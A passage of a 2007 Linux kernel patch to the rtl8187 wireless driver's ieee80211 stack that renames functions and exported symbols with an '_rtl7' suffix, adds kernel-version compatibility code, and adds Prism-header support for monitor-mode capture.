ieee80211_device *ieee; struct net_device *dev; @@ -113,17 +118,17 @@ goto failed; } ieee = netdev_priv(dev); - dev->hard_start_xmit = ieee80211_xmit; + dev->hard_start_xmit = ieee80211_xmit_rtl7; ieee->dev = dev; - err = ieee80211_networks_allocate(ieee); + err = ieee80211_networks_allocate_rtl7(ieee); if (err) { IEEE80211_ERROR("Unable to allocate beacon storage: %d\n", err); goto failed; } - ieee80211_networks_initialize(ieee); + ieee80211_networks_initialize_rtl7(ieee); /* Default fragmentation threshold is maximum payload size */ ieee->fts = DEFAULT_FTS; @@ -138,7 +143,7 @@ INIT_LIST_HEAD(&ieee->crypt_deinit_list); init_timer(&ieee->crypt_deinit_timer); ieee->crypt_deinit_timer.data = (unsigned long)ieee; - ieee->crypt_deinit_timer.function = ieee80211_crypt_deinit_handler; + ieee->crypt_deinit_timer.function = ieee80211_crypt_deinit_handler_rtl7; spin_lock_init(&ieee->lock); @@ -149,7 +154,7 @@ ieee->ieee802_1x = 1; ieee->raw_tx = 0; - ieee80211_softmac_init(ieee); + ieee80211_softmac_init_rtl7(ieee); for (i = 0; i < IEEE_IBSS_MAC_HASH_SIZE; i++) INIT_LIST_HEAD(&ieee->ibss_mac_hash[i]); @@ -167,7 +172,7 @@ } -void free_ieee80211(struct net_device *dev) +void free_ieee80211_rtl7(struct net_device *dev) { struct ieee80211_device *ieee = netdev_priv(dev); @@ -175,9 +180,9 @@ struct list_head *p, *q; - ieee80211_softmac_free(ieee); + ieee80211_softmac_free_rtl7(ieee); del_timer_sync(&ieee->crypt_deinit_timer); - ieee80211_crypt_deinit_entries(ieee, 1); + ieee80211_crypt_deinit_entries_rtl7(ieee, 1); for (i = 0; i < WEP_KEYS; i++) { struct ieee80211_crypt_data *crypt = ieee->crypt[i]; @@ -191,7 +196,7 @@ } } - ieee80211_networks_free(ieee); + ieee80211_networks_free_rtl7(ieee); for (i = 0; i < IEEE_IBSS_MAC_HASH_SIZE; i++) { list_for_each_safe(p, q, &ieee->ibss_mac_hash[i]) { @@ -210,13 +215,13 @@ u32 ieee80211_debug_level = 0; struct proc_dir_entry *ieee80211_proc = NULL; -static int show_debug_level(char *page, char **start, off_t offset, +static int show_debug_level_rtl7(char *page, char **start, off_t offset, int count, int *eof, void *data) { return snprintf(page, count, "0x%08X\n", ieee80211_debug_level); } -static int store_debug_level(struct file *file, const char *buffer, +static int store_debug_level_rtl7(struct file *file, const char *buffer, unsigned long count, void *data) { char buf[] = "0x00000000"; @@ -243,7 +248,7 @@ return strnlen(buf, count); } -static int __init ieee80211_init(void) +static int __init ieee80211_init_rtl7(void) { struct proc_dir_entry *e; @@ -268,7 +273,7 @@ return 0; } -static void __exit ieee80211_exit(void) +static void __exit ieee80211_exit_rtl7(void) { if (ieee80211_proc) { remove_proc_entry("debug_level", ieee80211_proc); @@ -282,9 +287,9 @@ MODULE_PARM_DESC(debug, "debug output mask"); -module_exit(ieee80211_exit); -module_init(ieee80211_init); +module_exit(ieee80211_exit_rtl7); +module_init(ieee80211_init_rtl7); #endif -EXPORT_SYMBOL(alloc_ieee80211); -EXPORT_SYMBOL(free_ieee80211); +EXPORT_SYMBOL(alloc_ieee80211_rtl7); +EXPORT_SYMBOL(free_ieee80211_rtl7); diff -Naur rtl8187_orig/ieee80211/ieee80211_rx.c rtl8187_txpower/ieee80211/ieee80211_rx.c --- rtl8187_orig/ieee80211/ieee80211_rx.c 2007-03-13 23:45:09.000000000 +0100 +++ rtl8187_txpower/ieee80211/ieee80211_rx.c 2007-04-23 00:09:00.000000000 +0200 @@ -22,7 +22,6 @@ #include -#include #include #include #include @@ -43,18 +42,85 @@ #include #include +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)) +#include +#else +#include +#endif + + #include "ieee80211.h" -static inline void ieee80211_monitor_rx(struct ieee80211_device *ieee, +static inline void ieee80211_monitor_rx_rtl7(struct ieee80211_device *ieee, struct sk_buff *skb, struct ieee80211_rx_stats *rx_stats) { - struct ieee80211_hdr *hdr = (struct ieee80211_hdr *)skb->data; - u16 fc = le16_to_cpu(hdr->frame_ctl); + struct ieee80211_hdr *hdr1 = (struct ieee80211_hdr *)skb->data; + u16 fc = le16_to_cpu(hdr1->frame_ctl); + int prism_header; + int hdrlen, phdrlen, head_need, tail_need; + + if (ieee->dev->type == ARPHRD_IEEE80211_PRISM) { + prism_header = 1; + phdrlen = sizeof(struct linux_wlan_ng_prism_hdr); + } else { + prism_header = 0; + phdrlen = 0; + } + + hdrlen = ieee80211_get_hdrlen_rtl7(fc); + + /* check if there is enough room for extra data; if not, expand skb + * buffer to be large enough for the changes */ + head_need = phdrlen; + tail_need = 0; +#ifdef PRISM2_ADD_BOGUS_CRC + tail_need += 4; +#endif /* PRISM2_ADD_BOGUS_CRC */ + + head_need -= skb_headroom(skb); + tail_need -= skb_tailroom(skb); + + if (head_need > 0 || tail_need > 0) { + if (pskb_expand_head(skb, head_need > 0 ? head_need : 0, + tail_need > 0 ? tail_need : 0, + GFP_ATOMIC)) { + printk(KERN_DEBUG "%s: ieee80211_rx failed to " + "reallocate skb buffer\n", ieee->dev->name); + dev_kfree_skb_any(skb); + return; + } + } + + if (prism_header == 1) { + struct linux_wlan_ng_prism_hdr *hdr; + hdr = (struct linux_wlan_ng_prism_hdr *) + skb_push(skb, phdrlen); + memset(hdr, 0, phdrlen); + hdr->msgcode = LWNG_CAP_DID_BASE; + hdr->msglen = sizeof(*hdr); + memcpy(hdr->devname, ieee->dev->name, sizeof(hdr->devname)); +#define LWNG_SETVAL(f,i,s,l,d) \ +hdr->f.did = LWNG_CAP_DID_BASE | (i << 12); \ +hdr->f.status = s; hdr->f.len = l; hdr->f.data = d + LWNG_SETVAL(hosttime, 1, 0, 4, jiffies); + LWNG_SETVAL(mactime, 2, 0, 4, ((u32)rx_stats->mac_time)); + LWNG_SETVAL(channel, 3, 1 /* no value */, 4, 0); + LWNG_SETVAL(rssi, 4, 1 /* no value */, 4, 0); + LWNG_SETVAL(sq, 5, 1 /* no value */, 4, 0); + LWNG_SETVAL(signal, 6, 0, 4, rx_stats->signal); + LWNG_SETVAL(noise, 7, 0, 4, rx_stats->noise); + LWNG_SETVAL(rate, 8, 0, 4, rx_stats->rate / 5); + LWNG_SETVAL(istx, 9, 0, 4, 0); + LWNG_SETVAL(frmlen, 10, 0, 4, skb->len - phdrlen); +#undef LWNG_SETVAL + } skb->dev = ieee->dev; skb->mac.raw = skb->data; - skb_pull(skb, ieee80211_get_hdrlen(fc)); + skb_pull(skb, hdrlen); + if (prism_header) + skb_pull(skb, phdrlen); skb->pkt_type = PACKET_OTHERHOST; skb->protocol = __constant_htons(ETH_P_80211_RAW); memset(skb->cb, 0, sizeof(skb->cb)); @@ -64,7 +130,7 @@ /* Called only as a tasklet (software IRQ) */ static struct ieee80211_frag_entry * -ieee80211_frag_cache_find(struct ieee80211_device *ieee, unsigned int seq, +ieee80211_frag_cache_find_rtl7(struct ieee80211_device *ieee, unsigned int seq, unsigned int frag, u8 *src, u8 *dst) { struct ieee80211_frag_entry *entry; @@ -94,7 +160,7 @@ /* Called only as a tasklet (software IRQ) */ static struct sk_buff * -ieee80211_frag_cache_get(struct ieee80211_device *ieee, +ieee80211_frag_cache_get_rtl7(struct ieee80211_device *ieee, struct ieee80211_hdr *hdr) { struct sk_buff *skb = NULL; @@ -133,7 +199,7 @@ } else { /* received a fragment of a frame for which the head fragment * should have already been received */ - entry = ieee80211_frag_cache_find(ieee, seq, frag, hdr->addr2, + entry = ieee80211_frag_cache_find_rtl7(ieee, seq, frag, hdr->addr2, hdr->addr1); if (entry != NULL) { entry->last_frag = frag; @@ -146,7 +212,7 @@ /* Called only as a tasklet (software IRQ) */ -static int ieee80211_frag_cache_invalidate(struct ieee80211_device *ieee, +static int ieee80211_frag_cache_invalidate_rtl7(struct ieee80211_device *ieee, struct ieee80211_hdr *hdr) { u16 sc; @@ -156,7 +222,7 @@ sc = le16_to_cpu(hdr->seq_ctl); seq = WLAN_GET_SEQ_SEQ(sc); - entry = ieee80211_frag_cache_find(ieee, seq, -1, hdr->addr2, + entry = ieee80211_frag_cache_find_rtl7(ieee, seq, -1, hdr->addr2, hdr->addr1); if (entry == NULL) { @@ -178,7 +244,7 @@ * * Called by ieee80211_rx */ static inline int -ieee80211_rx_frame_mgmt(struct ieee80211_device *ieee, struct sk_buff *skb, +ieee80211_rx_frame_mgmt_rtl7(struct ieee80211_device *ieee, struct sk_buff *skb, struct ieee80211_rx_stats *rx_stats, u16 type, u16 stype) { @@ -187,8 +253,8 @@ * response parser uses it */ rx_stats->len = skb->len; - ieee80211_rx_mgt(ieee,(struct ieee80211_hdr *)skb->data,rx_stats); - ieee80211_rx_frame_softmac(ieee, skb, rx_stats, type, stype); + ieee80211_rx_mgt_rtl7(ieee,(struct ieee80211_hdr *)skb->data,rx_stats); + ieee80211_rx_frame_softmac_rtl7(ieee, skb, rx_stats, type, stype); dev_kfree_skb_any(skb); @@ -253,7 +319,7 @@ /* No encapsulation header if EtherType < 0x600 (=length) */ /* Called by ieee80211_rx_frame_decrypt */ -static int ieee80211_is_eapol_frame(struct ieee80211_device *ieee, +static int ieee80211_is_eapol_frame_rtl7(struct ieee80211_device *ieee, struct sk_buff *skb) { struct net_device *dev = ieee->dev; @@ -294,7 +360,7 @@ /* Called only as a tasklet (software IRQ), by ieee80211_rx */ static inline int -ieee80211_rx_frame_decrypt(struct ieee80211_device* ieee, struct sk_buff *skb, +ieee80211_rx_frame_decrypt_rtl7(struct ieee80211_device* ieee, struct sk_buff *skb, struct ieee80211_crypt_data *crypt) { struct ieee80211_hdr *hdr; @@ -304,7 +370,7 @@ return 0; hdr = (struct ieee80211_hdr *) skb->data; - hdrlen = ieee80211_get_hdrlen(le16_to_cpu(hdr->frame_ctl)); + hdrlen = ieee80211_get_hdrlen_rtl7(le16_to_cpu(hdr->frame_ctl)); #ifdef CONFIG_IEEE80211_CRYPT_TKIP if (ieee->tkip_countermeasures && @@ -339,7 +405,7 @@ /* Called only as a tasklet (software IRQ), by ieee80211_rx */ static inline int -ieee80211_rx_frame_decrypt_msdu(struct ieee80211_device* ieee, struct sk_buff *skb, +ieee80211_rx_frame_decrypt_msdu_rtl7(struct ieee80211_device* ieee, struct sk_buff *skb, int keyidx, struct ieee80211_crypt_data *crypt) { struct ieee80211_hdr *hdr; @@ -349,7 +415,7 @@ return 0; hdr = (struct ieee80211_hdr *) skb->data; - hdrlen = ieee80211_get_hdrlen(le16_to_cpu(hdr->frame_ctl)); + hdrlen = ieee80211_get_hdrlen_rtl7(le16_to_cpu(hdr->frame_ctl)); atomic_inc(&crypt->refcnt); res = crypt->ops->decrypt_msdu(skb, keyidx, hdrlen, crypt->priv); @@ -367,7 +433,7 @@ /* this function is stolen from ipw2200 driver*/ #define IEEE_PACKET_RETRY_TIME (5*HZ) -static int is_duplicate_packet(struct ieee80211_device *ieee, +static int is_duplicate_packet_rtl7(struct ieee80211_device *ieee, struct ieee80211_hdr *header) { // u16 fc = le16_to_cpu(header->frame_ctl); @@ -444,7 +510,7 @@ /* All received frames are sent to this function. @skb contains the frame in * IEEE 802.11 format, i.e., in the format it was sent over air. * This function is called only as a tasklet (software IRQ). */ -int ieee80211_rx(struct ieee80211_device *ieee, struct sk_buff *skb, +int ieee80211_rx_rtl7(struct ieee80211_device *ieee, struct sk_buff *skb, struct ieee80211_rx_stats *rx_stats) { struct net_device *dev = ieee->dev; @@ -483,7 +549,7 @@ sc = le16_to_cpu(hdr->seq_ctl); frag = WLAN_GET_SEQ_FRAG(sc); - hdrlen = ieee80211_get_hdrlen(fc); + hdrlen = ieee80211_get_hdrlen_rtl7(fc); #ifdef NOT_YET #if WIRELESS_EXT > 15 @@ -501,12 +567,12 @@ } #endif /* IW_WIRELESS_SPY */ #endif /* WIRELESS_EXT > 15 */ - hostap_update_rx_stats(local->ap, hdr, rx_stats); + hostap_update_rx_stats_rtl7(local->ap, hdr, rx_stats); #endif #if WIRELESS_EXT > 15 if (ieee->iw_mode == IW_MODE_MONITOR) { - ieee80211_monitor_rx(ieee, skb, rx_stats); + ieee80211_monitor_rx_rtl7(ieee, skb, rx_stats); stats->rx_packets++; stats->rx_bytes += skb->len; return 1; @@ -529,7 +595,7 @@ * stations that do not support WEP key mapping). */ if (!(hdr->addr1[0] & 0x01) || local->bcrx_sta_key) - (void) hostap_handle_sta_crypto(local, hdr, &crypt, + (void) hostap_handle_sta_crypto_rtl7(local, hdr, &crypt, &sta); #endif @@ -555,7 +621,7 @@ if (skb->len < IEEE80211_DATA_HDR3_LEN) goto rx_dropped; - if (is_duplicate_packet(ieee, hdr)) + if (is_duplicate_packet_rtl7(ieee, hdr)) goto rx_dropped; @@ -575,7 +641,7 @@ #endif - if (ieee80211_rx_frame_mgmt(ieee, skb, rx_stats, type, stype)) + if (ieee80211_rx_frame_mgmt_rtl7(ieee, skb, rx_stats, type, stype)) goto rx_dropped; else goto rx_exit; @@ -606,7 +672,7 @@ } #ifdef NOT_YET - if (hostap_rx_frame_wds(ieee, hdr, fc, &wds)) + if (hostap_rx_frame_wds_rtl7(ieee, hdr, fc, &wds)) goto rx_dropped; if (wds) { skb->dev = dev = wds; @@ -619,7 +685,7 @@ memcmp(hdr->addr2, ieee->assoc_ap_addr, ETH_ALEN) == 0) { /* Frame from BSSID of the AP for which we are a client */ skb->dev = dev = ieee->stadev; - stats = hostap_get_stats(dev); + stats = hostap_get_stats_rtl7(dev); from_assoc_ap = 1; } #endif @@ -630,7 +696,7 @@ if ((ieee->iw_mode == IW_MODE_MASTER || ieee->iw_mode == IW_MODE_REPEAT) && !from_assoc_ap) { - switch (hostap_handle_sta_rx(ieee, dev, skb, rx_stats, + switch (hostap_handle_sta_rx_rtl7(ieee, dev, skb, rx_stats, wds != NULL)) { case AP_RX_CONTINUE_NOT_AUTHORIZED: frame_authorized = 0; @@ -664,7 +730,7 @@ /* skb: hdr + (possibly fragmented, possibly encrypted) payload */ if (ieee->host_decrypt && (fc & IEEE80211_FCTL_WEP) && - (keyidx = ieee80211_rx_frame_decrypt(ieee, skb, crypt)) < 0) + (keyidx = ieee80211_rx_frame_decrypt_rtl7(ieee, skb, crypt)) < 0) goto rx_dropped; hdr = (struct ieee80211_hdr *) skb->data; @@ -674,7 +740,7 @@ // ieee->host_decrypt && (fc & IEEE80211_FCTL_WEP) && if ((frag != 0 || (fc & IEEE80211_FCTL_MOREFRAGS))) { int flen; - struct sk_buff *frag_skb = ieee80211_frag_cache_get(ieee, hdr); + struct sk_buff *frag_skb = ieee80211_frag_cache_get_rtl7(ieee, hdr); IEEE80211_DEBUG_FRAG("Rx Fragment received (%u)\n", frag); if (!frag_skb) { @@ -694,7 +760,7 @@ printk(KERN_WARNING "%s: host decrypted and " "reassembled frame did not fit skb\n", dev->name); - ieee80211_frag_cache_invalidate(ieee, hdr); + ieee80211_frag_cache_invalidate_rtl7(ieee, hdr); goto rx_dropped; } @@ -722,19 +788,19 @@ * delivered, so remove skb from fragment cache */ skb = frag_skb; hdr = (struct ieee80211_hdr *) skb->data; - ieee80211_frag_cache_invalidate(ieee, hdr); + ieee80211_frag_cache_invalidate_rtl7(ieee, hdr); } /* skb: hdr + (possible reassembled) full MSDU payload; possibly still * encrypted/authenticated */ if (ieee->host_decrypt && (fc & IEEE80211_FCTL_WEP) && - ieee80211_rx_frame_decrypt_msdu(ieee, skb, keyidx, crypt)) + ieee80211_rx_frame_decrypt_msdu_rtl7(ieee, skb, keyidx, crypt)) goto rx_dropped; hdr = (struct ieee80211_hdr *) skb->data; if (crypt && !(fc & IEEE80211_FCTL_WEP) && !ieee->open_wep) { if (/*ieee->ieee802_1x &&*/ - ieee80211_is_eapol_frame(ieee, skb)) { + ieee80211_is_eapol_frame_rtl7(ieee, skb)) { #ifdef CONFIG_IEEE80211_DEBUG /* pass unencrypted EAPOL frames even if encryption is * configured */ @@ -763,7 +829,7 @@ #endif if (crypt && !(fc & IEEE80211_FCTL_WEP) && !ieee->open_wep && - !ieee80211_is_eapol_frame(ieee, skb)) { + !ieee80211_is_eapol_frame_rtl7(ieee, skb)) { IEEE80211_DEBUG_DROP( "dropped unencrypted RX data " "frame from " MAC_FMT @@ -896,7 +962,7 @@ #define MGMT_FRAME_FIXED_PART_LENGTH 0x24 -static inline int ieee80211_is_ofdm_rate(u8 rate) +static inline int ieee80211_is_ofdm_rate_rtl7(u8 rate) { switch (rate & ~IEEE80211_BASIC_RATE_MASK) { case IEEE80211_OFDM_RATE_6MB: @@ -913,7 +979,7 @@ } -static inline int ieee80211_network_init( +static inline int ieee80211_network_init_rtl7( struct ieee80211_device *ieee, struct ieee80211_probe_response *beacon, struct ieee80211_network *network, @@ -964,7 +1030,7 @@ switch (info_element->id) { case MFIE_TYPE_SSID: - if (ieee80211_is_empty_essid(info_element->data, + if (ieee80211_is_empty_essid_rtl7(info_element->data, info_element->len)) { network->flags |= NETWORK_EMPTY_ESSID; break; @@ -991,7 +1057,7 @@ #ifdef CONFIG_IEEE80211_DEBUG p += snprintf(p, sizeof(rates_str) - (p - rates_str), "%02X ", network->rates[i]); #endif - if (ieee80211_is_ofdm_rate(info_element->data[i])) { + if (ieee80211_is_ofdm_rate_rtl7(info_element->data[i])) { network->flags |= NETWORK_HAS_OFDM; if (info_element->data[i] & IEEE80211_BASIC_RATE_MASK) @@ -1014,7 +1080,7 @@ #ifdef CONFIG_IEEE80211_DEBUG p += snprintf(p, sizeof(rates_str) - (p - rates_str), "%02X ", network->rates[i]); #endif - if (ieee80211_is_ofdm_rate(info_element->data[i])) { + if (ieee80211_is_ofdm_rate_rtl7(info_element->data[i])) { network->flags |= NETWORK_HAS_OFDM; if (info_element->data[i] & IEEE80211_BASIC_RATE_MASK) @@ -1147,7 +1213,7 @@ return 1; } - if (ieee80211_is_empty_essid(network->ssid, network->ssid_len)) + if (ieee80211_is_empty_essid_rtl7(network->ssid, network->ssid_len)) network->flags |= NETWORK_EMPTY_ESSID; memcpy(&network->stats, stats, sizeof(network->stats)); @@ -1155,7 +1221,7 @@ return 0; } -static inline int is_same_network(struct ieee80211_network *src, +static inline int is_same_network_rtl7(struct ieee80211_network *src, struct ieee80211_network *dst) { /* A network is only a duplicate if the channel, BSSID, ESSID @@ -1172,7 +1238,7 @@ (dst->capability & WLAN_CAPABILITY_BSS))); } -static inline void update_network(struct ieee80211_network *dst, +static inline void update_network_rtl7(struct ieee80211_network *dst, struct ieee80211_network *src) { memcpy(&dst->stats, &src->stats, sizeof(struct ieee80211_rx_stats)); @@ -1204,7 +1270,7 @@ /* dst->last_associate is not overwritten */ } -static inline void ieee80211_process_probe_response( +static inline void ieee80211_process_probe_response_rtl7( struct ieee80211_device *ieee, struct ieee80211_probe_response *beacon, struct ieee80211_rx_stats *stats) @@ -1239,7 +1305,7 @@ (beacon->capability & (1<<0x1)) ? '1' : '0', (beacon->capability & (1<<0x0)) ? '1' : '0'); - if (ieee80211_network_init(ieee, beacon, &network, stats)) { + if (ieee80211_network_init_rtl7(ieee, beacon, &network, stats)) { IEEE80211_DEBUG_SCAN("Dropped '%s' (" MAC_FMT ") via %s.\n", escape_essid(info_element->data, info_element->len), @@ -1262,11 +1328,11 @@ spin_lock_irqsave(&ieee->lock, flags); - if(is_same_network(&ieee->current_network, &network)) - update_network(&ieee->current_network, &network); + if(is_same_network_rtl7(&ieee->current_network, &network)) + update_network_rtl7(&ieee->current_network, &network); list_for_each_entry(target, &ieee->network_list, list) { - if (is_same_network(target, &network)) + if (is_same_network_rtl7(target, &network)) break; if ((oldest == NULL) || @@ -1306,7 +1372,7 @@ memcpy(target, &network, sizeof(*target)); list_add_tail(&target->list, &ieee->network_list); if(ieee->softmac_features & IEEE_SOFTMAC_ASSOCIATE) - ieee80211_softmac_new_net(ieee,&network); + ieee80211_softmac_new_net_rtl7(ieee,&network); } else { IEEE80211_DEBUG_SCAN("Updating '%s' (" MAC_FMT ") via %s.\n", escape_essid(target->ssid, @@ -1321,15 +1387,15 @@ * net and call the new_net handler */ renew = !time_after(target->last_scanned + ieee->scan_age, jiffies); - update_network(target, &network); + update_network_rtl7(target, &network); if(renew && (ieee->softmac_features & IEEE_SOFTMAC_ASSOCIATE)) - ieee80211_softmac_new_net(ieee,&network); + ieee80211_softmac_new_net_rtl7(ieee,&network); } spin_unlock_irqrestore(&ieee->lock, flags); } -void ieee80211_rx_mgt(struct ieee80211_device *ieee, +void ieee80211_rx_mgt_rtl7(struct ieee80211_device *ieee, struct ieee80211_hdr *header, struct ieee80211_rx_stats *stats) { @@ -1339,7 +1405,7 @@ IEEE80211_DEBUG_MGMT("received BEACON (%d)\n", WLAN_FC_GET_STYPE(header->frame_ctl)); IEEE80211_DEBUG_SCAN("Beacon\n"); - ieee80211_process_probe_response( + ieee80211_process_probe_response_rtl7( ieee, (struct ieee80211_probe_response *)header, stats); break; @@ -1347,7 +1413,7 @@ IEEE80211_DEBUG_MGMT("received PROBE RESPONSE (%d)\n", WLAN_FC_GET_STYPE(header->frame_ctl)); IEEE80211_DEBUG_SCAN("Probe response\n"); - ieee80211_process_probe_response( + ieee80211_process_probe_response_rtl7( ieee, (struct ieee80211_probe_response *)header, stats); break; @@ -1355,5 +1421,5 @@ } -EXPORT_SYMBOL(ieee80211_rx_mgt); -EXPORT_SYMBOL(ieee80211_rx); +EXPORT_SYMBOL(ieee80211_rx_mgt_rtl7); +EXPORT_SYMBOL(ieee80211_rx_rtl7); diff -Naur rtl8187_orig/ieee80211/ieee80211_softmac.c rtl8187_txpower/ieee80211/ieee80211_softmac.c --- rtl8187_orig/ieee80211/ieee80211_softmac.c 2007-03-13 23:45:09.000000000 +0100 +++ rtl8187_txpower/ieee80211/ieee80211_softmac.c 2007-04-23 00:09:00.000000000 +0200 @@ -20,12 +20,12 @@ #include #include -short ieee80211_is_54g(struct ieee80211_network net) +short ieee80211_is_54g_rtl7(struct ieee80211_network net) { return ((net.rates_ex_len > 0) || (net.rates_len > 4)); } -short ieee80211_is_shortslot(struct ieee80211_network net) +short ieee80211_is_shortslot_rtl7(struct ieee80211_network net) { return (net.capability & WLAN_CAPABILITY_SHORT_SLOT); } @@ -34,7 +34,7 @@ * tag and the EXTENDED RATE MFIE tag if needed. * It encludes two bytes per tag for the tag itself and its len */ -unsigned int ieee80211_MFIE_rate_len(struct ieee80211_device *ieee) +unsigned int ieee80211_MFIE_rate_len_rtl7(struct ieee80211_device *ieee) { unsigned int rate_len = 0; @@ -52,7 +52,7 @@ * Then it updates the pointer so that * it points after the new MFIE tag added. */ -void ieee80211_MFIE_Brate(struct ieee80211_device *ieee, u8 **tag_p) +void ieee80211_MFIE_Brate_rtl7(struct ieee80211_device *ieee, u8 **tag_p) { u8 *tag = *tag_p; @@ -69,7 +69,7 @@ *tag_p = tag; } -void ieee80211_MFIE_Grate(struct ieee80211_device *ieee, u8 **tag_p) +void ieee80211_MFIE_Grate_rtl7(struct ieee80211_device *ieee, u8 **tag_p) { u8 *tag = *tag_p; @@ -92,7 +92,7 @@ *tag_p = tag; } -void enqueue_mgmt(struct ieee80211_device *ieee, struct sk_buff *skb) +void enqueue_mgmt_rtl7(struct ieee80211_device *ieee, struct sk_buff *skb) { int nh; nh = (ieee->mgmt_queue_head +1) % MGMT_QUEUE_NUM; @@ -110,7 +110,7 @@ //return 0; } -struct sk_buff *dequeue_mgmt(struct ieee80211_device *ieee) +struct sk_buff *dequeue_mgmt_rtl7(struct ieee80211_device *ieee) { struct sk_buff *ret; @@ -125,15 +125,15 @@ return ret; } -void init_mgmt_queue(struct ieee80211_device *ieee) +void init_mgmt_queue_rtl7(struct ieee80211_device *ieee) { ieee->mgmt_queue_tail = ieee->mgmt_queue_head = 0; } -void ieee80211_sta_wakeup(struct ieee80211_device *ieee, short nl); +void ieee80211_sta_wakeup_rtl7(struct ieee80211_device *ieee, short nl); -inline void softmac_mgmt_xmit(struct sk_buff *skb, struct ieee80211_device *ieee) +inline void softmac_mgmt_xmit_rtl7(struct sk_buff *skb, struct ieee80211_device *ieee) { unsigned long flags; short single = ieee->softmac_features & IEEE_SOFTMAC_SINGLE_QUEUE; @@ -144,13 +144,13 @@ spin_lock_irqsave(&ieee->lock, flags); /* called with 2nd param 0, no mgmt lock required */ - ieee80211_sta_wakeup(ieee,0); + ieee80211_sta_wakeup_rtl7(ieee,0); if(single){ if(ieee->queue_stop){ - enqueue_mgmt(ieee,skb); + enqueue_mgmt_rtl7(ieee,skb); }else{ header->seq_ctl = cpu_to_le16(ieee->seq_ctrl << 4); @@ -184,7 +184,7 @@ } -inline void softmac_ps_mgmt_xmit(struct sk_buff *skb, struct ieee80211_device *ieee) +inline void softmac_ps_mgmt_xmit_rtl7(struct sk_buff *skb, struct ieee80211_device *ieee) { short single = ieee->softmac_features & IEEE_SOFTMAC_SINGLE_QUEUE; @@ -219,7 +219,7 @@ } } -inline struct sk_buff *ieee80211_probe_req(struct ieee80211_device *ieee) +inline struct sk_buff *ieee80211_probe_req_rtl7(struct ieee80211_device *ieee) { unsigned int len,rate_len; u8 *tag; @@ -228,7 +228,7 @@ len = ieee->current_network.ssid_len; - rate_len = ieee80211_MFIE_rate_len(ieee); + rate_len = ieee80211_MFIE_rate_len_rtl7(ieee); skb = dev_alloc_skb(sizeof(struct ieee80211_probe_request) + 2 + len + rate_len); @@ -251,21 +251,21 @@ memcpy(tag, ieee->current_network.ssid, len); tag += len; - ieee80211_MFIE_Brate(ieee,&tag); - ieee80211_MFIE_Grate(ieee,&tag); + ieee80211_MFIE_Brate_rtl7(ieee,&tag); + ieee80211_MFIE_Grate_rtl7(ieee,&tag); return skb; } -struct sk_buff *ieee80211_get_beacon_(struct ieee80211_device *ieee); -void ieee80211_send_beacon(struct ieee80211_device *ieee) +struct sk_buff *ieee80211_get_beacon__rtl7(struct ieee80211_device *ieee); +void ieee80211_send_beacon_rtl7(struct ieee80211_device *ieee) { struct sk_buff *skb; unsigned long flags; - skb = ieee80211_get_beacon_(ieee); + skb = ieee80211_get_beacon__rtl7(ieee); if (skb){ - softmac_mgmt_xmit(skb, ieee); + softmac_mgmt_xmit_rtl7(skb, ieee); ieee->softmac_stats.tx_beacons++; } @@ -279,37 +279,37 @@ } -void ieee80211_send_beacon_cb(unsigned long _ieee) +void ieee80211_send_beacon_cb_rtl7(unsigned long _ieee) { struct ieee80211_device *ieee = (struct ieee80211_device *) _ieee; - ieee80211_send_beacon(ieee); + ieee80211_send_beacon_rtl7(ieee); } -void ieee80211_send_probe(struct ieee80211_device *ieee) +void ieee80211_send_probe_rtl7(struct ieee80211_device *ieee) { struct sk_buff *skb; - skb = ieee80211_probe_req(ieee); + skb = ieee80211_probe_req_rtl7(ieee); if (skb){ - softmac_mgmt_xmit(skb, ieee); + softmac_mgmt_xmit_rtl7(skb, ieee); ieee->softmac_stats.tx_probe_rq++; } } -void ieee80211_send_probe_requests(struct ieee80211_device *ieee) +void ieee80211_send_probe_requests_rtl7(struct ieee80211_device *ieee) { if (ieee->active_scan && (ieee->softmac_features & IEEE_SOFTMAC_PROBERQ)){ - ieee80211_send_probe(ieee); - ieee80211_send_probe(ieee); + ieee80211_send_probe_rtl7(ieee); + ieee80211_send_probe_rtl7(ieee); } } /* this performs syncro scan blocking the caller until all channels * in the allowed channel map has been checked. */ -void ieee80211_softmac_scan_syncro(struct ieee80211_device *ieee) +void ieee80211_softmac_scan_syncro_rtl7(struct ieee80211_device *ieee) { short ch = 0; @@ -349,7 +349,7 @@ ieee->set_chan(ieee->dev, ch); - ieee80211_send_probe_requests(ieee); + ieee80211_send_probe_requests_rtl7(ieee); /* this prevent excessive time wait when we * need to wait for a syncro scan to end.. @@ -384,11 +384,17 @@ } #endif -void ieee80211_softmac_scan_wq(struct ieee80211_device *ieee) -{ - down(&ieee->scan_sem); - +# if (LINUX_VERSION_CODE >= KERNEL_VERSION(2,6,20)) +void ieee80211_softmac_scan_wq_rtl7(struct work_struct *work) +{ + struct delayed_work *dwork = container_of(work, struct delayed_work, work); + struct ieee80211_device *ieee = container_of(dwork, struct ieee80211_device, softmac_scan_wq); +#else +void ieee80211_softmac_scan_wq_rtl7(struct ieee80211_device *ieee) +{ +#endif short watchdog = 0; + down(&ieee->scan_sem); do{ ieee->current_network.channel = @@ -402,7 +408,7 @@ goto out; ieee->set_chan(ieee->dev, ieee->current_network.channel); - ieee80211_send_probe_requests(ieee); + ieee80211_send_probe_requests_rtl7(ieee); #if 0 ieee->.expires = jiffies + (IEEE80211_SOFTMAC_SCAN_TIME); @@ -427,19 +433,19 @@ #endif -void ieee80211_beacons_start(struct ieee80211_device *ieee) +void ieee80211_beacons_start_rtl7(struct ieee80211_device *ieee) { unsigned long flags; spin_lock_irqsave(&ieee->beacon_lock,flags); ieee->beacon_txing = 1; - ieee80211_send_beacon(ieee); + ieee80211_send_beacon_rtl7(ieee); spin_unlock_irqrestore(&ieee->beacon_lock,flags); } -void ieee80211_beacons_stop(struct ieee80211_device *ieee) +void ieee80211_beacons_stop_rtl7(struct ieee80211_device *ieee) { unsigned long flags; @@ -453,25 +459,25 @@ } -void ieee80211_stop_send_beacons(struct ieee80211_device *ieee) +void ieee80211_stop_send_beacons_rtl7(struct ieee80211_device *ieee) { if(ieee->stop_send_beacons) ieee->stop_send_beacons(ieee->dev); if (ieee->softmac_features & IEEE_SOFTMAC_BEACONS) - ieee80211_beacons_stop(ieee); + ieee80211_beacons_stop_rtl7(ieee); } -void ieee80211_start_send_beacons(struct ieee80211_device *ieee) +void ieee80211_start_send_beacons_rtl7(struct ieee80211_device *ieee) { if(ieee->start_send_beacons) ieee->start_send_beacons(ieee->dev); if(ieee->softmac_features & IEEE_SOFTMAC_BEACONS) - ieee80211_beacons_start(ieee); + 